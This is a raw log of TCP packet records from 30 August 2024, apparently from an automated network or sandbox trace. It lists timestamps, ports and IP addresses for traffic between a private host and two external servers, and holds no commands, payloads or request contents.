Aug 30, 2024 06:17:06.379769087 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.379792929 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.398020983 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.398036957 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.398335934 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.398345947 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.398397923 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.398467064 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.398480892 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.398533106 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.398540020 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.398576975 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.398591042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.398600101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.398638010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.398646116 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.398648977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.398658991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.398669958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.398678064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.398715973 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.398715973 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.398839951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.398850918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.398894072 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.398931980 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.398945093 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.398993015 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.398998976 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.399036884 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.399276018 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.399290085 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.399344921 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.399353027 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.399391890 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.399565935 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.399579048 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.399631023 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.399638891 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.399677992 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.399957895 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.399997950 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.400021076 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.400024891 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.400037050 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.400063038 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.400372028 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.400386095 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.400444031 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.400449038 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.400499105 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.400588036 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.400615931 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.400645971 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.400650024 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.400672913 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.400690079 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.400844097 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.400875092 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.400902033 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.400907040 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.400928974 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.400949955 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.435882092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.435899973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.435910940 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.435920954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.435934067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.435996056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436002970 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436002970 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436006069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436017990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436028957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436038971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436050892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436050892 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436050892 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436068058 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436090946 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436165094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436175108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436188936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436198950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436208963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436219931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436238050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436238050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436238050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436258078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436261892 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436315060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436326027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436336040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436347008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436353922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436357021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436433077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436433077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436453104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436464071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436474085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436491966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436500072 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436501980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436515093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436518908 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436553001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436553001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436707973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436717987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436727047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436738014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436748028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436758041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436765909 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436765909 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436768055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436775923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436778069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436810970 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436820984 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436841011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436866999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.436881065 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.436913013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.437057018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.437067032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.437077045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.437087059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.437097073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.437107086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.437113047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.437118053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.437127113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.437136889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.437146902 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.437149048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.437156916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.437171936 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.437202930 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.437202930 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.437386990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.437397003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.437402964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.437412024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.437423944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.437433958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.437444925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.437452078 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.437454939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.437516928 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.438153028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.438239098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.438282013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.438313961 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.438385963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.438396931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.438405991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.438436985 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.438453913 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.438545942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.438556910 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.438565969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.438600063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.438635111 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.438653946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.438724041 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.440602064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.440612078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.440622091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.440671921 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.440707922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.440735102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.440745115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.440754890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.440764904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.440789938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.440805912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.440805912 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.440805912 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.440815926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.440825939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.440834045 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.440835953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.440874100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.440874100 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.440874100 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.440885067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.440895081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.440915108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.440941095 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.441009998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441021919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441030979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441041946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441052914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441066980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441067934 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.441067934 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.441077948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441128016 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.441128016 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.441299915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441309929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441319942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441390991 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.441394091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441404104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441411972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441422939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441458941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.441458941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.441593885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441605091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441612959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441622972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441651106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441670895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.441670895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.441670895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.441685915 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.441713095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441723108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441783905 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.441798925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441809893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441867113 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.441889048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441899061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441909075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441919088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441929102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.441952944 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.441952944 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.441978931 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.461332083 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461342096 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461352110 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461374998 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461385012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461391926 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.461395979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461405993 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461415052 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.461416960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461441994 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.461453915 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.461652994 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461694002 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.461707115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461715937 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461724997 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461739063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461750984 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461760044 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.461781025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461788893 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.461791992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461828947 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.461858988 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461868048 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461877108 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461889029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461900949 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461905956 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.461910963 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461920977 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461931944 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.461975098 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.461982012 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.461987019 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.462012053 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.462035894 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.462089062 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.462127924 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.462131977 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.462137938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.462172031 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.462183952 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.462193966 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.462203026 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.462233067 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.462253094 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.462253094 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.462342978 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.464004993 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464021921 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464030027 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464051008 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.464076042 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.464092016 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464102983 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464112043 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464128971 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464134932 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.464152098 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.464162111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464171886 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464174032 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.464198112 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.464220047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464230061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464257002 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.464291096 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464302063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464312077 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464328051 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.464329958 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464351892 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.464376926 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.464386940 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464397907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464413881 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464425087 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464428902 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.464433908 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.464452982 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.464468002 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.465414047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.465425014 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.465435028 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.465495110 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.465831995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.465878963 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.470124006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.470134020 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.470143080 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.470181942 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.470207930 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.470216036 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.470226049 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.470235109 CEST	80	49735	147.45.44.104	192.168.2.4
